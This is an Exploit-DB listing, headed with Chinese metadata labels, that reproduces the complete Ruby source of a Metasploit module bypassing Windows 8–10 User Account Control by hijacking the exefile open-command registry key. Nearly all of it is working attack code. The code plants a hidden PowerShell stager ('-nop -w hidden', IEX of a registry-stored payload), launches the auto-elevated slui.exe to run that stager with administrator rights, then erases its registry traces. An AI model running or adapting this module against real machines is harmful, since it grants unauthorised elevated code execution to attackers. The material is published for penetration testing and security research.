Microsoft Windows – UAC Protection Bypass (Via Slui File Handler Hijack) (Metasploit)

  • 作者: Metasploit
    日期: 2018-06-04
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44830/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core/exploit/exe'
    require 'msf/core/exploit/powershell'
    
    class MetasploitModule < Msf::Exploit::Local
    Rank = ExcellentRanking
    
    include Exploit::Powershell
    include Post::Windows::Priv
    include Post::Windows::Registry
    include Post::Windows::Runas
    
    SLUI_DEL_KEY= "HKCU\\Software\\Classes\\exefile".freeze
    SLUI_WRITE_KEY= "HKCU\\Software\\Classes\\exefile\\shell\\open\\command".freeze
    EXEC_REG_DELEGATE_VAL = 'DelegateExecute'.freeze
    EXEC_REG_VAL= ''.freeze # This maps to "(Default)"
    EXEC_REG_VAL_TYPE = 'REG_SZ'.freeze
    SLUI_PATH = "%WINDIR%\\System32\\slui.exe".freeze
    CMD_MAX_LEN = 16383
    
    def initialize(info = {})
    super(
    update_info(
    info,
    'Name'=> 'Windows UAC Protection Bypass (Via Slui File Handler Hijack)',
    'Description' => %q{
    This module will bypass UAC on Windows 8-10 by hijacking a special key in the Registry under
    the Current User hive, and inserting a custom command that will get invoked when any binary
    (.exe) application is launched. But slui.exe is an auto-elevated binary that is vulnerable
    to file handler hijacking. When we run slui.exe with changed Registry key
    (HKCU:\Software\Classes\exefile\shell\open\command), it will run our custom command as Admin
    instead of slui.exe.
    
    The module modifies the registry in order for this exploit to work. The modification is
    reverted once the exploitation attempt has finished.
    
    The module does not require the architecture of the payload to match the OS. If
    specifying EXE::Custom your DLL should call ExitProcess() after starting the
    payload in a different process.
    },
    'License' => MSF_LICENSE,
    'Author'=> [
    'bytecode-77', # UAC bypass discovery and research
    'gushmazuko', # MSF & PowerShell module
    ],
    'Platform'=> ['win'],
    'SessionTypes'=> ['meterpreter'],
    'Targets' => [
    ['Windows x86', { 'Arch' => ARCH_X86 }],
    ['Windows x64', { 'Arch' => ARCH_X64 }]
    ],
    'DefaultTarget' => 0,
    'References'=> [
    [
    'URL', 'https://github.com/bytecode-77/slui-file-handler-hijack-privilege-escalation',
    'URL', 'https://github.com/gushmazuko/WinBypass/blob/master/SluiHijackBypass.ps1'
    ]
    ],
    'DisclosureDate' => 'Jan 15 2018'
    )
    )
    end
    
    def check
    if sysinfo['OS'] =~ /Windows (8|10)/ && is_uac_enabled?
    CheckCode::Appears
    else
    CheckCode::Safe
    end
    end
    
    def exploit
    # Validate that we can actually do things before we bother
    # doing any more work
    check_permissions!
    
    commspec = 'powershell'
    registry_view = REGISTRY_VIEW_NATIVE
    psh_path = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe"
    
    # Make sure we have a sane payload configuration
    if sysinfo['Architecture'] == ARCH_X64
    if session.arch == ARCH_X86
    # On x64, check arch
    commspec = '%WINDIR%\\Sysnative\\cmd.exe /c powershell'
    if target_arch.first == ARCH_X64
    # We can't use absolute path here as
    # %WINDIR%\\System32 is always converted into %WINDIR%\\SysWOW64 from a x86 session
    psh_path = "powershell.exe"
    end
    end
    if target_arch.first == ARCH_X86
    # Invoking x86, so switch to SysWOW64
    psh_path = "%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe"
    end
    else
    # if we're on x86, we can't handle x64 payloads
    if target_arch.first == ARCH_X64
    fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
    end
    end
    
    if !payload.arch.empty? && (payload.arch.first != target_arch.first)
    fail_with(Failure::BadConfig, 'payload and target should use the same architecture')
    end
    
    case get_uac_level
    when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
    UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
    UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
    fail_with(Failure::NotVulnerable,
    "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
    when UAC_DEFAULT
    print_good('UAC is set to Default')
    print_good('BypassUAC can bypass this setting, continuing...')
    when UAC_NO_PROMPT
    print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
    shell_execute_exe
    return
    end
    
    payload_value = rand_text_alpha(8)
    psh_path = expand_path(psh_path)
    
    template_path = Rex::Powershell::Templates::TEMPLATE_DIR
    psh_payload = Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload.encoded)
    
    if psh_payload.length > CMD_MAX_LEN
    fail_with(Failure::None, "Payload size should be smaller then #{CMD_MAX_LEN} (actual size: #{psh_payload.length})")
    end
    
    psh_stager = "\"IEX (Get-ItemProperty -Path #{SLUI_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\""
    cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}"
    
    existing = registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, registry_view) || ""
    exist_delegate = !registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view).nil?
    
    if existing.empty?
    registry_createkey(SLUI_WRITE_KEY, registry_view)
    end
    
    print_status("Configuring payload and stager registry keys ...")
    unless exist_delegate
    registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, '', EXEC_REG_VAL_TYPE, registry_view)
    end
    
    registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view)
    registry_setvaldata(SLUI_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view)
    
    # Calling slui.exe through cmd.exe allow us to launch it from either x86 or x64 session arch.
    cmd_path = expand_path(commspec)
    cmd_args = expand_path("Start-Process #{SLUI_PATH} -Verb runas")
    print_status("Executing payload: #{cmd_path} #{cmd_args}")
    
    # We can't use cmd_exec here because it blocks, waiting for a result.
    client.sys.process.execute(cmd_path, cmd_args, 'Hidden' => true)
    
    # Wait a copule of seconds to give the payload a chance to fire before cleaning up
    # TODO: fix this up to use something smarter than a timeout?
    sleep(3)
    
    handler(client)
    
    print_status("Cleaining ...")
    unless exist_delegate
    registry_deleteval(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view)
    end
    if existing.empty?
    registry_deletekey(SLUI_DEL_KEY, registry_view)
    else
    registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view)
    end
    registry_deleteval(SLUI_WRITE_KEY, payload_value, registry_view)
    end
    
    def check_permissions!
    unless check == Exploit::CheckCode::Appears
    fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
    end
    fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
    # Check if you are an admin
    # is_in_admin_group can be nil, true, or false
    print_status('UAC is Enabled, checking level...')
    vprint_status('Checking admin status...')
    admin_group = is_in_admin_group?
    if admin_group.nil?
    print_error('Either whoami is not there or failed to execute')
    print_error('Continuing under assumption you already checked...')
    else
    if admin_group
    print_good('Part of Administrators group! Continuing...')
    else
    fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
    end
    end
    
    if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
    fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
    end
    end
    end